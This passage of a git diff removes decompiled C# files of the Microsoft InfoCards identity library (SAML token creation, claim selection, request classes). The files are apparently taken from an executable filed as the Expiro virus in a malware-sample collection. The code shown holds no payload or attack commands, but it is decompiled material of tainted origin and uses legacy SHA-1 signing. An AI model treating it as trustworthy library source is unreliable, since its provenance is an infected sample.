0); - private static readonly SamlSerializer samlSerializer = new SamlSerializer(); - private string m_signatureAlgorithm = "http://www.w3.org/2000/09/xmldsig#rsa-sha1"; - private string m_encryptionAlgorithm = SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm; - private string m_encryptWithAlgorithm; - private string m_keyWrapAlgorithm; - - protected override TokenDescriptor ProduceToken( - InfoCard card, - TokenCreationParameter creationParam, - TokenFactoryCredential credential, - InfoCardPolicy policy, - bool discloseOptional) - { - RSACryptoServiceProvider cryptoServiceProvider = (RSACryptoServiceProvider) null; - SymmetricAlgorithm symmetricProof = (SymmetricAlgorithm) null; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignatureAlgorithm)) - this.m_signatureAlgorithm = policy.OptionalRstParams.SignatureAlgorithm; - if (!string.IsNullOrEmpty(policy.OptionalRstParams.EncryptionAlgorithm)) - this.m_encryptionAlgorithm = policy.OptionalRstParams.EncryptionAlgorithm; - TokenDescriptor tokenDescriptor; - try - { - List claimSet = this.GetClaimSet(card, policy, discloseOptional); - List disclosedClaims = new List(claimSet.Count); - for (int index = 0; index < claimSet.Count; ++index) - disclosedClaims.Add(claimSet[index].Id); - SamlSecurityToken samlToken; - DisplayToken displayToken; - XmlElement protectedToken; - using (RSACryptoServiceProvider publicCryptography = card.GetPublicCryptography(policy.Recipient.GetIdentifier())) - { - SecurityKeyIdentifier issuerKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) publicCryptography) - }); - SecurityKeyIdentifier proofKeyIdentifier; - SecurityKey proofCryptoInsideSamlToken; - if (policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - InfoCardTrace.Assert(policy.ImmediateTokenRecipient is X509RecipientIdentity, "Symmetric key type is not allowed when no certifcate is provided for the token recipeint"); - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultEncryptionAlgorithm : policy.OptionalRstParams.EncryptWith; - symmetricProof = (SymmetricAlgorithm) new RijndaelManaged(); - SecurityAlgorithmSuite securityAlgorithmSuite; - switch (this.m_encryptWithAlgorithm) - { - case "http://www.w3.org/2001/04/xmlenc#aes128-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic128; - break; - case "http://www.w3.org/2001/04/xmlenc#aes192-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic192; - break; - case "http://www.w3.org/2001/04/xmlenc#aes256-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.Basic256; - break; - case "http://www.w3.org/2001/04/xmlenc#tripledes-cbc": - securityAlgorithmSuite = SecurityAlgorithmSuite.TripleDes; - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - symmetricProof.KeySize = securityAlgorithmSuite.DefaultSymmetricKeyLength; - X509SecurityToken x509SecurityToken = new X509SecurityToken(((X509RecipientIdentity) policy.ImmediateTokenRecipient).LeafCertificate, Guid.NewGuid().ToString()); - SecurityKeyIdentifier encryptingKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) x509SecurityToken.CreateKeyIdentifierClause() - }); - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new EncryptedKeyIdentifierClause(x509SecurityToken.SecurityKeys[0].EncryptKey(this.m_keyWrapAlgorithm, symmetricProof.Key), this.m_keyWrapAlgorithm, encryptingKeyIdentifier) - }); - proofCryptoInsideSamlToken = (SecurityKey) new InMemorySymmetricSecurityKey(symmetricProof.Key); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == policy.KeyType) - { - this.m_encryptWithAlgorithm = string.IsNullOrEmpty(policy.OptionalRstParams.EncryptWith) ? SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm : policy.OptionalRstParams.EncryptWith; - this.m_keyWrapAlgorithm = this.m_encryptWithAlgorithm; - symmetricProof = (SymmetricAlgorithm) null; - cryptoServiceProvider = publicCryptography; - proofKeyIdentifier = new SecurityKeyIdentifier(new SecurityKeyIdentifierClause[1] - { - (SecurityKeyIdentifierClause) new RsaKeyIdentifierClause((RSA) cryptoServiceProvider) - }); - proofCryptoInsideSamlToken = proofKeyIdentifier.CreateKey(); - this.ThrowIfProofKeyOperationsNotSupported(policy, proofCryptoInsideSamlToken); - } - else - { - this.m_keyWrapAlgorithm = SecurityAlgorithmSuite.Default.DefaultAsymmetricKeyWrapAlgorithm; - InfoCardTrace.Assert("http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p" == this.m_keyWrapAlgorithm, "What we have chosen"); - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == policy.KeyType, "Bad enum member for SecurityKeyTypeInternal."); - proofKeyIdentifier = (SecurityKeyIdentifier) null; - proofCryptoInsideSamlToken = (SecurityKey) null; - } - using (SelfIssuedAuthAsymmetricKey issuerSigningKey = new SelfIssuedAuthAsymmetricKey(card.GetPrivateCryptography(policy.Recipient.GetIdentifier()))) - { - Uri uri = policy.ImmediateTokenRecipient.Address.Uri; - if ((EndpointAddress) null != policy.PolicyAppliesTo) - uri = policy.PolicyAppliesTo.Uri; - samlToken = this.CreateSamlToken(claimSet, issuerKeyIdentifier, proofKeyIdentifier, proofCryptoInsideSamlToken, (SecurityKey) issuerSigningKey, uri); - displayToken = this.CreateDisplayToken(claimSet); - if (policy.ImmediateTokenRecipient is X509RecipientIdentity immediateTokenRecipient) - { - protectedToken = EncryptionUtility.EncryptSecurityToken((SecurityToken) samlToken, immediateTokenRecipient.LeafCertificate, this.m_encryptionAlgorithm, this.m_keyWrapAlgorithm, policy.ProtocolVersionProfile); - } - else - { - MemoryStream input = new MemoryStream(); - XmlDictionaryWriter dictionaryWriter = XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) new StreamWriter((Stream) input))); - policy.ProtocolVersionProfile.TokenSerializer.WriteToken((XmlWriter) dictionaryWriter, (SecurityToken) samlToken); - dictionaryWriter.Flush(); - input.Seek(0L, SeekOrigin.Begin); - protectedToken = (XmlElement) new XmlDocument().ReadNode((XmlReader) Utility.CreateReaderWithQuotas((Stream) input)); - Array.Clear((Array) input.GetBuffer(), 0, Convert.ToInt32(input.Length)); - input.Close(); - } - } - } - StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture); - policy.ProtocolVersionProfile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), (SecurityKeyIdentifierClause) new SamlAssertionKeyIdentifierClause(samlToken.Id)); - w.Flush(); - string str = w.GetStringBuilder().ToString(); - tokenDescriptor = new TokenDescriptor(samlToken.Id, samlToken.ValidFrom, samlToken.ValidTo, protectedToken, displayToken, symmetricProof, str, str, (IEnumerable) disclosedClaims); - symmetricProof = (SymmetricAlgorithm) null; - } - catch (InfoCardBaseException ex) - { - throw; - } - catch (Exception ex) - { - if (!InfoCardTrace.IsFatal(ex)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException((string) null, ex)); - throw; - } - finally - { - cryptoServiceProvider?.Dispose(); - symmetricProof?.Dispose(); - } - return tokenDescriptor; - } - - private void ThrowIfProofKeyOperationsNotSupported( - InfoCardPolicy policy, - SecurityKey proofCryptoInsideSamlToken) - { - if (!string.IsNullOrEmpty(policy.OptionalRstParams.SignWith) && !proofCryptoInsideSamlToken.IsSupportedAlgorithm(policy.OptionalRstParams.SignWith)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignWithAlgorithm", (object) policy.OptionalRstParams.SignWith))); - if (!proofCryptoInsideSamlToken.IsSupportedAlgorithm(this.m_encryptWithAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedEncryptWithAlgorithm", (object) this.m_encryptWithAlgorithm))); - } - - private SamlSecurityToken CreateSamlToken( - List claims, - SecurityKeyIdentifier issuerKeyIdentifier, - SecurityKeyIdentifier proofKeyIdentifier, - SecurityKey proofCryptoInsideSamlToken, - SecurityKey issuerSigningKey, - Uri immediateTokenRecipientUri) - { - DateTime utcNow = DateTime.UtcNow; - SamlAudienceRestrictionCondition restrictionCondition = new SamlAudienceRestrictionCondition((IEnumerable) new Collection() - { - immediateTokenRecipientUri - }); - SamlConditions samlConditions = new SamlConditions(utcNow, utcNow.Add(SelfIssuedSamlTokenFactory.TokenLifetime), (IEnumerable) new Collection() - { - (SamlCondition) restrictionCondition - }); - SamlSubject samlSubject = new SamlSubject((string) null, (string) null, (string) null, (IEnumerable) new string[1] - { - proofKeyIdentifier != null ? SamlConstants.HolderOfKey : "urn:oasis:names:tc:SAML:1.0:cm:bearer" - }, (string) null, proofKeyIdentifier); - if (proofCryptoInsideSamlToken != null) - samlSubject.Crypto = proofCryptoInsideSamlToken; - List attributes = new List(claims.Count); - char[] chArray = new char[1]{ '/' }; - for (int index = 0; index < claims.Count; ++index) - { - string[] strArray = claims[index].Id.Split(chArray); - InfoCardTrace.ThrowInvalidArgumentConditional(0 == strArray.Length, "claimUri"); - string attributeName = strArray[strArray.Length - 1]; - if (claims[index].Id == InfoCardConstants.Gender) - InfoCardTrace.Assert(claims[index].Value == "0" || claims[index].Value == "1" || claims[index].Value == "2", "Wrong value type for gender claim, only values '0' (Unspecified), '1' (Male) and '2' (Female) are allowed "); - if (claims[index].Id == InfoCardConstants.DateOfBirth) - { - DateTime universalTime = DateTime.Parse(claims[index].Value, (IFormatProvider) CultureInfo.InvariantCulture).ToUniversalTime(); - InfoCardTrace.Assert(true, "Invalid value for date of birth "); - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - XmlConvert.ToString(universalTime, XmlDateTimeSerializationMode.Utc) - })); - } - else - attributes.Add(new SamlAttribute("http://schemas.xmlsoap.org/ws/2005/05/identity/claims", attributeName, (IEnumerable) new string[1] - { - claims[index].ToString() - })); - } - SamlAttributeStatement attributeStatement = new SamlAttributeStatement(samlSubject, (IEnumerable) attributes); - SamlAssertion assertion = new SamlAssertion("SamlSecurityToken-" + Guid.NewGuid().ToString(), "http://schemas.xmlsoap.org/ws/2005/05/identity/issuer/self", utcNow, samlConditions, (SamlAdvice) null, (IEnumerable) new List(1) - { - (SamlStatement) attributeStatement - }); - if (!issuerSigningKey.IsSupportedAlgorithm(this.m_signatureAlgorithm)) - throw InfoCardTrace.ThrowHelperError((Exception) new TokenCreationException(SR.GetString("UnsupportedSignatureAlgorithm", (object) this.m_signatureAlgorithm))); - assertion.SigningCredentials = new SigningCredentials(issuerSigningKey, this.m_signatureAlgorithm, "http://www.w3.org/2000/09/xmldsig#sha1", issuerKeyIdentifier); - return new SamlSecurityToken(assertion); - } - - private DisplayToken CreateDisplayToken(List claims) - { - List claimList = new List(); - for (int index = 0; index < claims.Count; ++index) - { - DisplayClaim displayClaim = new DisplayClaim(InfoCardConstants.ClaimDisplayTag(claims[index].Id.ToString()), new List() - { - claims[index].Value - }, InfoCardConstants.ClaimsDescription(claims[index].Id.ToString()), claims[index].Id.ToString()); - claimList.Add(displayClaim); - } - return new DisplayToken(claimList); - } - - private List GetClaimSet( - InfoCard card, - InfoCardPolicy policy, - bool discloseOptional) - { - StoreConnection connection = StoreConnection.GetConnection(); - try - { - List intersectedClaims = (List) null; - if (policy.RequiredClaims != null) - { - intersectedClaims = new List(policy.RequiredClaims.Length); - this.AddClaimsThatIntersect(policy.RequiredClaims, false, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier(), card.Id, intersectedClaims); - } - if (discloseOptional && policy.OptionalClaims != null) - { - if (intersectedClaims == null) - intersectedClaims = new List(policy.OptionalClaims.Length); - this.AddClaimsThatIntersect(policy.OptionalClaims, true, card.GetClaims(), policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier(), card.Id, intersectedClaims); - } - return intersectedClaims; - } - finally - { - connection.Close(); - } - } - - private void AddClaimsThatIntersect( - string[] policyClaims, - bool processingOptionalClaims, - InfoCardClaimCollection claims, - string recipientidentifier, - Uri cardId, - List intersectedClaims) - { - foreach (string policyClaim in policyClaims) - { - if (policyClaim == InfoCardConstants.PPIDClaimsUri) - { - string ppid = Utility.CreatePpid(Convert.FromBase64String(recipientidentifier), cardId); - intersectedClaims.Add(new InfoCardClaim(InfoCardConstants.PPIDClaimsUri, ppid)); - } - else if (!processingOptionalClaims) - { - InfoCardTrace.ThrowInvalidArgumentConditional(!claims.ContainsKey(policyClaim) || claims[policyClaim] == null || string.IsNullOrEmpty(claims[policyClaim].Value), "policyClaimUri"); - intersectedClaims.Add(claims[policyClaim]); - } - else - { - InfoCardClaim infoCardClaim = (InfoCardClaim) null; - if (claims.ContainsKey(policyClaim)) - infoCardClaim = claims[policyClaim]; - if (infoCardClaim != null && !string.IsNullOrEmpty(infoCardClaim.Value)) - intersectedClaims.Add(infoCardClaim); - } - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs deleted file mode 100644 index f5bb8f92..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SelfIssuedTokenFactoryCredential.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SelfIssuedTokenFactoryCredential -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SelfIssuedTokenFactoryCredential : TokenFactoryCredential - { - private InfoCard m_localCard; - - public SelfIssuedTokenFactoryCredential() - : base(TokenFactoryCredentialType.SelfIssuedCredential) - { - } - - public InfoCard LocalCard => this.m_localCard; - - protected override void DeserializeData(BinaryReader reader) => this.m_localCard = new InfoCard(reader.BaseStream); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SendAgentStatusRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SendAgentStatusRequest.cs deleted file mode 100644 index ec2fe53c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SendAgentStatusRequest.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SendAgentStatusRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SendAgentStatusRequest : UIAgentRequest - { - private SendAgentStatusRequest.AgentStatusType m_agentStatus; - private bool m_retVal; - private uint m_ATApplicationsFlags; - - public SendAgentStatusRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parentRequest) - : base(rpcHandle, inArgs, outArgs, parentRequest) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The agent status must be specified"); - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_agentStatus = (SendAgentStatusRequest.AgentStatusType) binaryReader.ReadUInt32(); - this.m_ATApplicationsFlags = binaryReader.ReadUInt32(); - } - - protected override void OnProcess() - { - this.m_retVal = false; - switch (this.m_agentStatus) - { - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_CREATED: - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_IN: - this.ParentRequest.StartAccessibilityApplications(this.m_ATApplicationsFlags); - break; - case SendAgentStatusRequest.AgentStatusType.AGENT_DESKTOP_SWITCH_OUT: - this.m_retVal = this.ParentRequest.RestartAccessibilityApplications(); - break; - } - } - - protected override void OnMarshalOutArgs() => new BinaryWriter(this.OutArgs, Encoding.Unicode).Write(this.m_retVal); - - public enum AgentStatusType - { - AGENT_INITIALIZING, - AGENT_DESKTOP_CREATED, - AGENT_DESKTOP_SWITCH_OUT, - AGENT_DESKTOP_SWITCH_IN, - AGENT_SHUTTING_DOWN, - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SerializationIncompleteException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SerializationIncompleteException.cs deleted file mode 100644 index 0e4c76d1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SerializationIncompleteException.cs +++ /dev/null @@ -1,19 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SerializationIncompleteException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; - -namespace Microsoft.InfoCards -{ - internal class SerializationIncompleteException : Exception - { - private Type m_type; - - public SerializationIncompleteException(Type type) => this.m_type = type; - - public Type ObjectType => this.m_type; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ServiceBusyException.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ServiceBusyException.cs deleted file mode 100644 index c57f62e7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/ServiceBusyException.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.ServiceBusyException -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Runtime.Serialization; - -namespace Microsoft.InfoCards -{ - internal class ServiceBusyException : InfoCardBaseException - { - private const int HRESULT = -1073413875; - - public ServiceBusyException() - : base(-1073413875) - { - } - - public ServiceBusyException(string message) - : base(-1073413875, message) - { - } - - public ServiceBusyException(string message, Exception inner) - : base(-1073413875, message, inner) - { - } - - protected ServiceBusyException(SerializationInfo si, StreamingContext sc) - : base(-1073413875, si, sc) - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserLanguageRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserLanguageRequest.cs deleted file mode 100644 index 8dd06245..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserLanguageRequest.cs +++ /dev/null @@ -1,36 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserLanguageRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.IO; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SetUserLanguageRequest : UIAgentRequest - { - private int m_lcid; - - public SetUserLanguageRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnInitializeAsSystem() => base.OnInitializeAsSystem(); - - protected override void OnMarshalInArgs() => this.m_lcid = (int) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode).ReadUInt32(); - - protected override void OnProcess() => this.ParentRequest.UserLanguage = this.m_lcid; - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserPreferenceRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserPreferenceRequest.cs deleted file mode 100644 index 25964e0d..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SetUserPreferenceRequest.cs +++ /dev/null @@ -1,60 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SetUserPreferenceRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class SetUserPreferenceRequest : UIAgentRequest - { - private UserPreference m_userPreferences; - - public SetUserPreferenceRequest( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ClientUIRequest parent) - : base(rpcHandle, inArgs, outArgs, parent) - { - } - - protected override void OnMarshalInArgs() - { - InfoCardTrace.Assert(this.InArgs.Length > 0L, "The user preferences must be specified"); - this.m_userPreferences = new UserPreference(this.InArgs); - } - - protected override void OnProcess() - { - InfoCardTrace.Assert(null != this.m_userPreferences, "OnMarshalInArgs must be called prior to calling OnProcess"); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - connection.BeginTransaction(); - try - { - this.m_userPreferences.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - finally - { - connection.Close(); - } - } - - protected override void OnMarshalOutArgs() - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignHashRequest.cs deleted file mode 100644 index b4d0678c..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignHashRequest.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System; -using System.Diagnostics; -using System.IO; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class SignHashRequest : ClientRequest - { - private int m_sessionId; - private byte[] m_hash; - private string m_hashAlgOid; - private byte[] m_sig; - - public SignHashRequest( - Process callingProcess, - WindowsIdentity callingIdentity, - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs) - : base(callingProcess, callingIdentity, rpcHandle, inArgs, outArgs) - { - this.m_sig = (byte[]) null; - } - - protected override void OnMarshalInArgs() - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(this.InArgs, Encoding.Unicode); - this.m_sessionId = reader.ReadInt32(); - int count = reader.ReadInt32(); - this.m_hash = reader.ReadBytes(count); - this.m_hashAlgOid = Utility.DeserializeString(reader); - } - - protected override void OnProcess() => this.m_sig = ((AsymmetricCryptoSession) CryptoSession.Find(this.m_sessionId, this.CallerPid, this.RequestorIdentity.User)).SignHash(this.m_hash, this.m_hashAlgOid); - - protected override void OnMarshalOutArgs() - { - BinaryWriter binaryWriter = new BinaryWriter(this.OutArgs, Encoding.Unicode); - binaryWriter.Write(this.m_sig.Length); - binaryWriter.Write(this.m_sig); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignatureHeader.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignatureHeader.cs deleted file mode 100644 index 9b18b1b9..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/SignatureHeader.cs +++ /dev/null @@ -1,20 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.SignatureHeader -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d.exe - -using System.Runtime.InteropServices; - -namespace Microsoft.InfoCards -{ - internal struct SignatureHeader - { - public const int IVSize = 16; - public const int SignatureOffset = 4; - public const int IVOffset = 20; - public int SignatureSize; - [MarshalAs(UnmanagedType.ByValArray, SizeConst = 1)] - public byte Signature; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StorableObjectType.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/Microsoft/InfoCards/StorableObjectType.cs deleted file mode 100644 index e8ded84b..00000000 --- 